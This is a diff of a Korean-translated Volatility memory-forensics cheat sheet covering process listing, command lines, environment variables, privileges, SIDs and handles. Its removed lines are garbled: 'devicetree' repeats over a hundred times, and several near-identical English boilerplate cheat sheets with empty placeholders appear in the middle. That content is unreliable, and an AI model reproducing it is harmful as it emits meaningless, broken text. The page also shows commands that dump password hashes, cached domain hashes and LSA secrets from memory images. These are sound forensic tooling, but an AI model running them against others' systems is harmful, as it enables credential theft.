-* **driverregistry**: 드라이버 레지스트리 정보를 표시합니다.
-* **driverhandles**: 드라이버 핸들 정보를 표시합니다.
-* **driverirp**: 드라이버 IRP 정보를 표시합니다.
-* **drivermodule**: 드라이버 모듈 정보를 표시합니다.
-* **driverobject**: 드라이버 객체 정보를 표시합니다.
-* **driversection**: 드라이버 섹션 정보를 표시합니다.
-* **driverwmi**: 드라이버 WMI 정보를 표시합니다.
-* **driverregistry**: 드라이버 레지스트리 정보를 표시합니다.
-* **driverhandles**: 드라이버 핸들 정보를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**: 장치 트리를 표시합니다.
-* **devicetree**:
-
+{% tab title="vol2" %}
```bash
volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM)
volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry
@@ -564,17 +159,15 @@ volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets
{% endtab %}
{% endtabs %}
-## 메모리 덤프
-
-프로세스의 메모리 덤프는 프로세스의 현재 상태를 **모두 추출**합니다. **procdump** 모듈은 **코드**만을 **추출**합니다.
+## Memory Dump
+프로세스의 메모리 덤프는 프로세스의 현재 상태를 **모두 추출**합니다. **procdump** 모듈은 **코드**만 **추출**합니다.
```
volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
```
-
-[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 있는 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
+[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식 증진**이라는 사명을 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
@@ -582,8 +175,8 @@ volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
### 프로세스 목록
-**의심스러운** 프로세스(이름으로) 또는 **예상치 못한** 자식 **프로세스**(예: iexplorer.exe의 자식으로 cmd.exe)를 찾아보십시오.\
-pslist의 결과와 psscan의 결과를 비교하여 숨겨진 프로세스를 식별하는 것이 흥미로울 수 있습니다.
+**의심스러운** 프로세스(이름으로) 또는 **예상치 못한** 자식 **프로세스**(예: iexplorer.exe의 자식으로 cmd.exe)를 찾으려고 시도하십시오.\
+pslist의 결과와 psscan의 결과를 **비교**하여 숨겨진 프로세스를 식별하는 것이 흥미로울 수 있습니다.
{% tabs %}
{% tab title="vol3" %}
@@ -592,365 +185,67 @@ python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidde
python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS)
python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware)
```
+{% endtab %}
-### Volatility Cheat Sheet
-
-#### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-#### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
- ```
- pip install -r requirements.txt
- ```
-3. Download the latest version of Volatility from the official GitHub repository:
-
- ```
- git clone https://github.com/volatilityfoundation/volatility.git
- ```
-4. Change to the Volatility directory:
-
- ```
- cd volatility
- ```
-5. Run Volatility using the following command:
-
- ```
- python vol.py
- ```
-
-#### Basic Usage
-
-To analyze a memory dump using Volatility, follow these steps:
-
-1. Identify the profile of the memory dump. The profile specifies the operating system and service pack version. Use the `imageinfo` command to retrieve this information:
-
- ```
- python vol.py -f memory_dump.raw imageinfo
- ```
-2. Set the profile using the `-p` option:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64
- ```
-3. Run the desired Volatility command. For example, to list all running processes, use the `pslist` command:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist
- ```
-
-#### Common Commands
-
-* `imageinfo`: Retrieves information about the memory dump, such as the profile, architecture, and build time.
-* `pslist`: Lists all running processes.
-* `pstree`: Displays the process tree, showing parent-child relationships between processes.
-* `psscan`: Scans for processes in memory.
-* `dlllist`: Lists loaded DLLs for each process.
-* `handles`: Lists open handles for each process.
-* `connections`: Lists network connections.
-* `netscan`: Scans for network connections in memory.
-* `malfind`: Finds hidden or injected code in memory.
-* `cmdscan`: Scans for command history in memory.
-* `filescan`: Scans for file objects in memory.
-* `dumpfiles`: Extracts files from memory.
-* `hivelist`: Lists registry hives.
-* `hivedump`: Dumps a registry hive.
-* `hashdump`: Dumps password hashes from memory.
-
-#### Additional Resources
-
-* [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki)
-* [Volatility GitHub Repository](https://github.com/volatilityfoundation/volatility)
-
+{% tab title="vol2" %}
```bash
volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden)
volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS)
volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware)
volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list
```
+{% endtab %}
+{% endtabs %}
-#### 덤프 프로세스
+### 덤프 프로세스
+{% tabs %}
+{% tab title="vol3" %}
```bash
./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory
```
+{% endtab %}
-### Volatility Cheat Sheet
-
-#### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-#### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
- ```
- pip install volatility
- ```
-3. Download the Volatility source code from the official GitHub repository:
-
- ```
- git clone https://github.com/volatilityfoundation/volatility.git
- ```
-4. Navigate to the Volatility directory and run the following command to verify the installation:
-
- ```
- python vol.py -h
- ```
-
-#### Basic Usage
-
-To analyze a memory dump using Volatility, follow these steps:
-
-1. Identify the profile of the memory dump. The profile specifies the operating system and service pack version. Use the `imageinfo` command to retrieve this information:
-
- ```
- python vol.py -f memory_dump.raw imageinfo
- ```
-2. Once you have identified the profile, use the appropriate plugin to extract the desired information. For example, to list all running processes, use the `pslist` plugin:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist
- ```
-3. Use the available options to filter and format the output as needed. For example, to display only the process names and PIDs, use the `--output=csv` and `--columns=Name,PID` options:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist --output=csv --columns=Name,PID
- ```
-
-#### Advanced Usage
-
-Volatility provides a wide range of plugins for analyzing different aspects of memory dumps. Some of the commonly used plugins include:
-
-* `pslist`: Lists all running processes.
-* `netscan`: Displays network connections.
-* `malfind`: Identifies injected and hidden code.
-* `dlllist`: Lists loaded DLLs.
-* `filescan`: Scans for file handles and file objects.
-* `cmdscan`: Lists command history.
-* `hivelist`: Lists registry hives.
-
-To use these plugins, specify the desired plugin name after the `--profile` option. For example, to list all loaded DLLs, use the `dlllist` plugin:
-
-```
-python vol.py -f memory_dump.raw --profile=Win7SP1x64 dlllist
-```
-
-#### Conclusion
-
-Volatility is a powerful tool for analyzing memory dumps and extracting valuable information for forensic investigations. This cheat sheet provides a quick reference guide for using Volatility and highlights some of the most commonly used commands and plugins. Experiment with different options and plugins to maximize the effectiveness of your memory analysis.
-
+{% tab title="vol2" %}
```bash
volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp
```
{% endtab %}
{% endtabs %}
-### 명령 줄
+### 명령줄
의심스러운 것이 실행되었나요?
+{% tabs %}
+{% tab title="vol3" %}
```bash
python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments
```
+{% endtab %}
-## Volatility Cheat Sheet
-
-### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
-```bash
-pip install volatility
-```
-
-### Basic Usage
-
-To analyze a memory dump using Volatility, use the following command:
-
-```bash
-volatility -f [options]
-```
-
-Replace `` with the path to the memory dump file and `` with the desired Volatility command.
-
-### Volatility Commands
-
-#### Image Identification
-
-* **imageinfo**: Displays information about the memory dump, such as the operating system version and profile.
-
-```bash
-volatility -f imageinfo
-```
-
-#### Process Analysis
-
-* **pslist**: Lists all running processes in the memory dump.
-
-```bash
-volatility -f pslist
-```
-
-* **psscan**: Scans for hidden or terminated processes.
-
-```bash
-volatility -f psscan
-```
-
-#### Network Analysis
-
-* **netscan**: Lists all network connections in the memory dump.
-
-```bash
-volatility -f netscan
-```
-
-* **connscan**: Lists all TCP and UDP connections.
-
-```bash
-volatility -f connscan
-```
-
-#### Module Analysis
-
-* **modscan**: Lists all loaded modules in the memory dump.
-
-```bash
-volatility -f modscan
-```
-
-* **moddump**: Dumps a specific module from memory.
-
-```bash
-volatility -f moddump -D -n
-```
-
-Replace `` with the desired directory to save the module dump and `` with the name of the module to dump.
-
-### Conclusion
-
-This cheat sheet provides a basic overview of Volatility and its commonly used commands. By leveraging Volatility's capabilities, analysts can perform in-depth memory analysis and extract valuable information from memory dumps.
-
+{% tab title="vol2" %}
```bash
volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments
volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION
```
+{% endtab %}
+{% endtabs %}
-`cmd.exe`에서 실행된 명령은 **`conhost.exe`** (또는 Windows 7 이전의 시스템에서는 `csrss.exe`)에 의해 관리됩니다. 이는 메모리 덤프를 얻기 전에 공격자에 의해 \*\*`cmd.exe`\*\*가 종료된 경우에도 세션의 명령 히스토리를 \*\*`conhost.exe`\*\*의 메모리에서 복구할 수 있다는 것을 의미합니다. 이를 위해 콘솔 모듈에서 이상한 활동이 감지되면 연관된 **`conhost.exe`** 프로세스의 메모리를 덤프해야 합니다. 그런 다음 이 덤프 내에서 **문자열**을 검색하여 세션에서 사용된 명령 라인을 추출할 수 있습니다.
+`cmd.exe`에서 실행된 명령은 **`conhost.exe`** (또는 Windows 7 이전 시스템의 경우 **`csrss.exe`**)에 의해 관리됩니다. 이는 공격자가 메모리 덤프가 얻어지기 전에 **`cmd.exe`**를 종료하더라도 **`conhost.exe`**의 메모리에서 세션의 명령 기록을 복구할 수 있음을 의미합니다. 이를 위해 콘솔의 모듈 내에서 비정상적인 활동이 감지되면 관련된 **`conhost.exe`** 프로세스의 메모리를 덤프해야 합니다. 그런 다음 이 덤프 내에서 **strings**를 검색하여 세션에서 사용된 명령줄을 추출할 수 있습니다.
### 환경
-각 실행 중인 프로세스의 환경 변수를 가져옵니다. 흥미로운 값이 있을 수 있습니다.
+각 실행 중인 프로세스의 env 변수를 가져옵니다. 흥미로운 값이 있을 수 있습니다.
{% tabs %}
{% tab title="vol3" %}
```bash
python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables
```
+{% endtab %}
-### Volatility Cheat Sheet
-
-#### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-#### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
-```bash
-pip install volatility
-```
-
-#### Basic Usage
-
-To analyze a memory dump using Volatility, use the following command:
-
-```bash
-volatility -f [options]
-```
-
-Replace `` with the path to the memory dump file and `` with the desired Volatility command.
-
-#### Volatility Commands
-
-**Image Identification**
-
-* **imageinfo**: Retrieve information about the memory dump, such as the operating system version and profile.
-
-```bash
-volatility -f imageinfo
-```
-
-**Process Analysis**
-
-* **pslist**: List all running processes.
-
-```bash
-volatility -f pslist
-```
-
-* **psscan**: Scan for hidden or terminated processes.
-
-```bash
-volatility -f psscan
-```
-
-**Network Analysis**
-
-* **netscan**: List network connections.
-
-```bash
-volatility -f netscan
-```
-
-* **connscan**: List TCP and UDP connections.
-
-```bash
-volatility -f connscan
-```
-
-**Module Analysis**
-
-* **modscan**: List loaded modules.
-
-```bash
-volatility -f modscan
-```
-
-* **moddump**: Dump a specific module from memory.
-
-```bash
-volatility -f moddump -D -n
-```
-
-Replace `` with the desired directory to save the module dump and `` with the name of the module to dump.
-
-#### Conclusion
-
-This cheat sheet provides a brief overview of some of the most commonly used Volatility commands for memory dump analysis. Volatility is a powerful tool for forensic analysis and can help uncover valuable information from memory dumps. Experiment with different commands and options to maximize the effectiveness of your memory analysis.
-
+{% tab title="vol2" %}
```bash
volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables
@@ -961,278 +256,62 @@ volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of proc
### 토큰 권한
-예상치 못한 서비스에서 권한 토큰을 확인하세요.\
-특권 토큰을 사용하는 프로세스 목록을 작성하는 것이 흥미로울 수 있습니다.
+예상치 못한 서비스에서 권한 토큰을 확인하십시오.\
+특권 토큰을 사용하는 프로세스를 나열하는 것이 흥미로울 수 있습니다.
+{% tabs %}
+{% tab title="vol3" %}
```bash
#Get enabled privileges of some processes
python3 vol.py -f file.dmp windows.privileges.Privs [--pid ]
#Get all processes with interesting privileges
python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege"
```
+{% endtab %}
-## Volatility Cheat Sheet
-
-### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
- ```
- pip install -r requirements.txt
- ```
-3. Download the latest version of Volatility from the official GitHub repository:
-
- ```
- git clone https://github.com/volatilityfoundation/volatility.git
- ```
-4. Change to the Volatility directory:
-
- ```
- cd volatility
- ```
-5. Run Volatility using the following command:
-
- ```
- python vol.py
- ```
-
-### Basic Usage
-
-To analyze a memory dump using Volatility, follow these steps:
-
-1. Identify the profile of the memory dump. The profile specifies the operating system and service pack version. Use the `imageinfo` command to retrieve this information:
-
- ```
- python vol.py -f memory_dump.raw imageinfo
- ```
-2. Set the profile using the `-p` option:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64
- ```
-3. Run the desired Volatility command. For example, to list all running processes, use the `pslist` command:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist
- ```
-
-### Common Commands
-
-* `imageinfo`: Retrieves information about the memory dump, such as the profile, architecture, and build time.
-* `pslist`: Lists all running processes.
-* `pstree`: Displays the process tree, showing parent-child relationships between processes.
-* `psscan`: Scans for processes in memory.
-* `dlllist`: Lists loaded DLLs for each process.
-* `handles`: Lists open handles for each process.
-* `connections`: Lists network connections.
-* `netscan`: Scans for network connections in memory.
-* `malfind`: Finds hidden or injected code in memory.
-* `cmdscan`: Scans for command history in memory.
-* `filescan`: Scans for file objects in memory.
-* `dumpfiles`: Extracts files from memory.
-* `hivelist`: Lists registry hives.
-* `hivedump`: Dumps a registry hive.
-* `hashdump`: Dumps password hashes from memory.
-
-### Additional Resources
-
-* [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki)
-* [Volatility GitHub Repository](https://github.com/volatilityfoundation/volatility)
-
+{% tab title="vol2" %}
```bash
#Get enabled privileges of some processes
volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled
#Get all processes with interesting privileges
volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege"
```
+{% endtab %}
+{% endtabs %}
### SIDs
-각 프로세스가 소유한 SSID를 확인합니다.\
-특권 SSID를 사용하는 프로세스 및 일부 서비스 SSID를 사용하는 프로세스를 나열하는 것이 흥미로울 수 있습니다.
+프로세스가 소유한 각 SSID를 확인하십시오.\
+특권 SID를 사용하는 프로세스(및 일부 서비스 SID를 사용하는 프로세스)를 나열하는 것이 흥미로울 수 있습니다.
+{% tabs %}
+{% tab title="vol3" %}
```bash
./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes
./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services
```
+{% endtab %}
-## Volatility Cheat Sheet
-
-### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
- ```
- pip install volatility
- ```
-3. Download the Volatility source code from the official GitHub repository:
-
- ```
- git clone https://github.com/volatilityfoundation/volatility.git
- ```
-4. Navigate to the Volatility directory and run the following command to verify the installation:
-
- ```
- python vol.py -h
- ```
-
-### Basic Usage
-
-To analyze a memory dump using Volatility, follow these steps:
-
-1. Identify the profile of the memory dump. The profile specifies the operating system and service pack version. Use the `imageinfo` command to retrieve this information:
-
- ```
- python vol.py -f memory_dump.raw imageinfo
- ```
-2. Once you have identified the profile, use the appropriate plugin to extract the desired information. For example, to list all running processes, use the `pslist` plugin:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist
- ```
-3. Use the available options to filter and format the output as needed. For example, to display only the process names and PIDs, use the `--output=text` and `--columns=Name,PID` options:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist --output=text --columns=Name,PID
- ```
-
-### Advanced Usage
-
-Volatility provides a wide range of plugins for analyzing different aspects of memory dumps. Some of the commonly used plugins include:
-
-* `pslist`: Lists running processes.
-* `netscan`: Lists network connections.
-* `malfind`: Finds hidden and injected code.
-* `dlllist`: Lists loaded DLLs.
-* `cmdscan`: Lists command history.
-* `filescan`: Lists open files.
-* `svcscan`: Lists services.
-* `handles`: Lists open handles.
-
-To use these plugins, specify the appropriate plugin name after the `--profile` option. For example, to list network connections, use the `netscan` plugin:
-
-```
-python vol.py -f memory_dump.raw --profile=Win7SP1x64 netscan
-```
-
-### Conclusion
-
-Volatility is a powerful tool for analyzing memory dumps and extracting valuable information for forensic investigations. This cheat sheet provides a quick reference guide for using Volatility and highlights some of the most commonly used commands and plugins. Experiment with different options and plugins to maximize the effectiveness of your memory analysis.
-
+{% tab title="vol2" %}
```bash
volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process
volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service
```
+{% endtab %}
+{% endtabs %}
### 핸들
-프로세스가 핸들을 가지고 있는 다른 파일, 키, 스레드, 프로세스 등을 알아내는 데 유용합니다.
+**프로세스가 핸들**을 가지고 있는 다른 파일, 키, 스레드, 프로세스 등에 대한 정보를 아는 것이 유용합니다.
{% tabs %}
{% tab title="vol3" %}
```bash
vol.py -f file.dmp windows.handles.Handles [--pid ]
```
+{% endtab %}
-### Volatility Cheat Sheet
-
-#### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-#### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
-```bash
-pip install volatility
-```
-
-#### Basic Usage
-
-To analyze a memory dump using Volatility, use the following command:
-
-```bash
-volatility -f [options]
-```
-
-Replace `` with the path to the memory dump file and `` with the desired Volatility command.
-
-#### Volatility Commands
-
-**Image Identification**
-
-* **imageinfo**: Retrieve information about the memory dump, such as the operating system version and profile.
-
-```bash
-volatility -f imageinfo
-```
-
-**Process Analysis**
-
-* **pslist**: List all running processes.
-
-```bash
-volatility -f pslist
-```
-
-* **psscan**: Scan for hidden or terminated processes.
-
-```bash
-volatility -f psscan
-```
-
-**Network Analysis**
-
-* **netscan**: List network connections.
-
-```bash
-volatility -f netscan
-```
-
-* **connscan**: List TCP and UDP connections.
-
-```bash
-volatility -f connscan
-```
-
-**Module Analysis**
-
-* **modscan**: List loaded modules.
-
-```bash
-volatility -f modscan
-```
-
-* **moddump**: Dump a specific module from memory.
-
-```bash
-volatility -f moddump -D -n
-```
-
-Replace `` with the desired directory to save the module dump and `` with the name of the module to dump.
-
-#### Conclusion
-
-This cheat sheet provides a basic overview of some of the most commonly used Volatility commands for memory dump analysis. Volatility is a powerful tool for forensic analysis and can help uncover valuable information from memory dumps. Experiment with different commands and options to maximize the effectiveness of your memory analysis.
-
+{% tab title="vol2" %}
```bash
volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=]
```
@@ -1243,107 +322,23 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=]
{% tabs %}
{% tab title="vol3" %}
-DLLs (Dynamic Link Libraries) are shared libraries that contain code and data that can be used by multiple programs at the same time. They are loaded into the memory space of a process when it is executed and provide additional functionality to the program.
-
-Volatility provides several commands to analyze DLLs in memory dumps:
-
-* `dlllist`: Lists all loaded DLLs in the memory dump.
-* `dlldump`: Dumps the contents of a specific DLL from memory.
-* `dllscan`: Scans the memory dump for DLLs and displays information about them.
